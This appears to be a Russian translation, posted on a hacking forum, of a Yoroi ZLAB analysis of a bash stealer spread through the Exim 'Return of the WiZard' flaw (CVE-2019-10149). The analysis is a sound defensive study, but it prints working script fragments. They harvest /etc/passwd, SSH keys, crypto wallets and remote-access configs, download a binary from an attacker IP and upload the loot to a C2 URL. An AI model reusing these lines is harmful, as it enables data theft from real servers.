• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Исследователи вредоносных программ в ZLAB Cybaze-Yoroi наблюдали множество попыток атак, использующих проблему CVE-2019-10149.

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Вступление
image3.png

Рисунок 1: Открытый сервер EXIM в Италии (Ссылка: ZoomEye)

В последние дни общественности была раскрыта действительно важная проблема: уязвимость «Return of the WiZard» ( EW N030619, CVE-2019-10149). Такая уязвимость затронула широкий спектр серверов Exim, одной из основных технологий почтовых серверов, чрезвычайно распространенных по всему миру и в Италии.
Недавно группы киберпреступников злоупотребили этой уязвимостью, чтобы взломать почтовый сервер Exim. За это время Cybaze-Yoroi ZLAB наблюдали множество попыток атак и попыток распространения вредоносного ПО, использующего проблему CVE-2019-10149, например, обратную оболочку SSH, впервые обнаруженную Магни Р. Сигурдссоном (Исследователь безопасности), которая злоупотребляет сетью ToR для распространения своей полезной нагрузки, или волна 9-го июня, которая пыталась загрузить определенный (agent Linux). Yoroi-Cybaze ZLab проанализировал эту вредоносную угрозу.

image4.png

Рисунок 2: Твит о первой волне атаки на сервер exim

Технический анализ
Exim - агент передачи сообщений (MTA), разработанный в Кембриджском университете для систем Unix, подключенных к Интернету. Он был разработан исходя из предположения, что он будет работать на хостах, которые постоянно подключены к Интернету. Благодаря уязвимости « Return of the WiZard» искаженное письмо, отправляемое на серверы Exim, позволяет злоумышленникам выполнять код под пользователем root на большинстве серверов.Вся цепочка заражения начинается с диалогового окна SMTP, содержащего специально созданное поле « RCPT_TO».
Например:

image2.png

Рисунок 3: Эксплойт, используемый для взлома уязвимого сервера Exim (ссылка: https://github.com/dhn/exploits/tree/master/CVE-2019-10149)

На этом этапе уязвимый сервер exim локально выполняет созданную часть.
Bash Stealer
Hash1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed
ThreatBash Stealer
Brief DescriptionInitial bash payload dropped after Exim exploit
Ssdeep48:r+GMfper8pnPDA7pIgOznRsbb9tanhc6zghOk1Y2y6EYX+UDLBoySval:r+GMfp6ubEmZz6ig0vK
Таблица 1: Информация о скрипте sh

image1.png

Рисунок 4: Начальное обнаружение файла SH

Файл SH - это не просто новый этап (merely a dropper) вредоносного ПО. Он извлекает информацию о зараженной машине, начиная с имени хоста и заканчивая биткойн-кошельками и конфигурациями системы, что делает его похожим на довольно хороший стиллер. В этом разделе мы углубимся во все возможности этого образца.
  1. #!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0
  2. HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php
  3. NOLS=0NOETC=0NODUP=1V=2UF=temp3754r97y$V
Часть 1: Объявления глобальных переменных и IP C2
Прежде всего, скрипт устанавливает различные переменные, видимые на всех дочерних процессах благодаря команде «export». Интересной переменной является « UPLOAD_URL », содержащая первое удаленное местоположение « hxxps: // 85 [.25.84.99 / up [.php» часть инфраструктуры злоумышленника. Хостинг C2 осуществляется немецким провайдером управляемых облачных сервисов Plus ( PlusServer GmbH).
Вторая интересная часть скрипта - это функция « snd ( )», определенная ниже.
  1. snd () { sh -c “UPLOAD_FILE=\”$1\” UPLOAD_NAME=\”$(hostname).tbz2\” UPLOAD_URL=$UPLOAD_URL atd &”; }
Часть 2: функция « snd ( )», используемая для отправки украденной информации
Эта строка сценария является одной из самых важных в цепочке заражения. Он запускает команду оболочки с тремя экспортированными переменными файлами «UPLOAD_FILE», «UPLOAD_NAME», «UPLOAD_URL», а затем выполняется файл « atd ». Это описано в разделе «Полезная нагрузка». Вместо этого представим последнюю часть скрипта:
  1. # EXIM
  2. tail -n 100 /etc/*release /etc/version > system.version 2>/dev/nullip addr > ip 2>/dev/nulliptables-save > iptables 2>/dev/nullip6tables-save > ip6tables 2>/dev/null
  3. # /EXIM end exim
  4. hostname > hostnameuname -a > unameecho `date -u` ‘(‘`$(which date)`’)’ > dateuptime > uptimew > wid > id
  5. ps auxwwwwwTH > psps auxwwwwwf > ps-forestps auxwwwwwfe > ps-env
  6. cat /proc/meminfo > meminfo 2>/dev/nullcat /proc/cpuinfo > cpuinfo 2>/dev/nullifconfig -a > ifconfig 2>/dev/nulldf > df 2>/dev/nulldmesg > dmesg 2>/dev/nullmount > mount 2>/dev/nullenv > env 2>/dev/null
  7. lspci -k > lspci 2>/dev/nulllsusb > lsusb 2>/dev/null
  8. netstat -antpuxwenW > netstat 2>/dev/nullroute -en > route 2>/dev/null
  9. # other kernel info
  10. cat /proc/modules > lsmod 2>/dev/nullcp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/nulllscpu > lscpu 2>/dev/null
  11. # copy stuff from /etc?
  12. if [ $NOETC –eq 0 ]; then mkdir $main_dir/root/sysinfo/etc cd $main_dir/root/sysinfo/etc cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null cd –fi
  13. cd $main_dir/root
  14. # list some dirs
  15. if [ $NOLS –eq 0 ]; then ls -laR /boot > ls-boot 2>&1 ls -laR /etc > ls-etc 2>&1fi
  16. # compress n clean up
  17. cd $main_dirtar -cj –exclude ‘root/sysinfo/etc/httpd/modules*’ –exclude ‘root/sysinfo/etc/httpd/lib*’ –exclude ‘root/sysinfo/etc/httpd/man*’ -f $BASE/rf root
  18. # drop source files
  19. rm -rf $main_dir &
  20. # ready to send!
  21. cd $BASE
  22. wget -q http://173.212.214.137/se -O atd || wget -q http://173.212.214.137/icantgetit -O /dev/nulltest `stat -c %s atd` –eq610932 && chmod +x atd && snd rf
Часть 3: фрагмент скрипта sh, используемый для захвата всей машины жертвы.
В разделе « #EXIM » скрипт собирает следующую информацию: версия системы, ip, статус iptables, статус ip6tables. Однако метка « #EXIM » вводит в заблуждение, поскольку этот фрагмент кода относится только к информации о конфигурации сети машины, и конфигурация EXIM не восстанавливается . После этого скрипт продолжает собирать другую информацию, такую как:
● Имя хоста
● Название операционной системы
● Дата в формате UTC и CEST
● Время работы сервера
● Информация о каждом пользователе, вошедшем в компьютер
● Идентификатор пользователя
● Запущенный процесс
● Информация о памяти
● Информация о процессоре
● IPv4
● Дисковое пространство
● Сообщение содержится в буфере ядра
● Структура файловой системы
● Все текущие переменные среды
● Вся периферия и шина PCI
● Вся шина USB
● Состояние установленной связи
● Информация о таблицах маршрутизации
● Модули ядра
● Информация об архитектуре процессора

В разделе с пометкой « #copy материал из / etc? ”, Скрипт крадет все файлы, хранящиеся в / etc / path. Его данные хранятся в « $ main_dir / root / sysinfo / etc », где $ main_dir - « / var / tmp ». Он содержит копию всех папок конфигураций Apace и Nginx, а также системных пользователей и групп.
  1. # copy stuff from /etc?
  2. if [ $NOETC –eq 0 ]; then
  3. mkdir $main_dir/root/sysinfo/etc
  4. cd $main_dir/root/sysinfo/etc
  5. cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null
  6. cd –
  7. fi
Часть 4: Копирование всех файлов, содержащихся в пути / etc
Кроме того, в следующем фрагменте кода показан фрагмент скрипта, способный украсть кошельки криптовалют и разграбить другие интересные файлы. Например SSH конфиги и файлы конфигурации инструментов удаленного управления, как Remmina, Rdesk и VNC. Кроме того, он собирает файлы конфигурации клиента БД для DbShell и Redis, а также историю пользовательских команд.
  1. cd $HOME && tar cf $main_dir/root/root.tar \ .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \ *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \ /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \ /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \ /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
  2. cd $main_dir/root/
Часть 5. Сбор всей информации о файлах конфигурации ssh, remmina, vnc, redis и rdesk.
Наконец, вся эта информация сжимается, отправляется в C2 с помощью ранее упомянутой функции « snd ( ) », а затем удаляется из машины . В последних строках скрипта загружается еще одна вредоносная программа: исполняемый файл ELF32, размещенный на том же сервере по адресу « hxxp: // 173 [.212.214 [.137 / se » ». Это файл «atd», указанный в функции « snd () ».

ELF Uploader
Hashd8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c
ThreatELF Uploader
Brief DescriptionMalware downloaded after exim exploitation packed with UPX compressor
Ssdeep12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk
Table 2: Information about se (ELF file packed with UPX)
This sample was compressed with the standard UPX compressor. The unpacked payload is:
Hashb4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a
ThreatELF Uploader unpacked
Brief DescriptionELF Uploader unpacked
Ssdeep49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy
Таблица 3: Информация о себе (файл ELF распакован)

Анализируя ее, мы обнаружили, что вредоносная программа пытается найти три переменные среды: «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL». Все они были объявлены в функции « snd ( )» и используются в качестве параметров для дальнейшего выполнения, предполагая, что этот фрагмент кода может быть специальным инструментом, подготовленным злоумышленником.

image7.png

Рисунок 5: Доказательства функций «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL»

Если эти три параметра существуют, то вредоносная программа связывается с удаленным пунктом назначения, чтобы загрузить все данные через серию запросов POST в ресурс « /up.php ». Как упоминалось ранее, три параметра считываются как переменные среды в командной строке bash. Итак, после загрузки необходимых параметров мы можем правильно отлаживать вредоносные программы. На рисунке выше мы сообщили, как вредоносная программа получает один из заданных параметров, папку «/ var / tmp / temp3754r97y2», в которой содержится добыча, собранная Bash Stealer. Действительно, на рисунке 12 показана процедура, используемая вредоносным ПО для связи с C2, и онаясно видна в адресе, указанном регистром ESI.

image6.png

Рисунок 6: Процедура чтения параметров

image5.png

Рисунок 7: Процедура чтения адреса C2

Заключение
Эта волна атак показывает, насколько просто для злоумышленника может быть провести широко распространенные атаки с помощью настроенного вредоносного ПО, угрожающего всем незащищенным сервисам Exim, выставленным по всему Интернету. В этом анализе мы столкнулись с эффективной системой похищения информации, позволяющей легко собирать конфиденциальную информацию о скомпрометированной системе. Эта информация также может позволить мошенникам, участвующим в кампании, еще больше усилить атаку внутри жертв и сетей партнеров-жертв.

В любом случае, этот случай представляет собой только один возможный сценарий атаки, использующий уязвимость « Возвращение WiZard »: криптоминеры, бот-сети или вымогатели также могут использовать этот недостаток вместе с группами APT. Итак, исследователи Yoroi-Cybaze рекомендуют обновить серверы Exim во избежание риска других волн атаки.
Технические подробности, включая IoC и правила Yara, доступны в анализе, опубликованном в блоге Yoroi.

Источник: https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх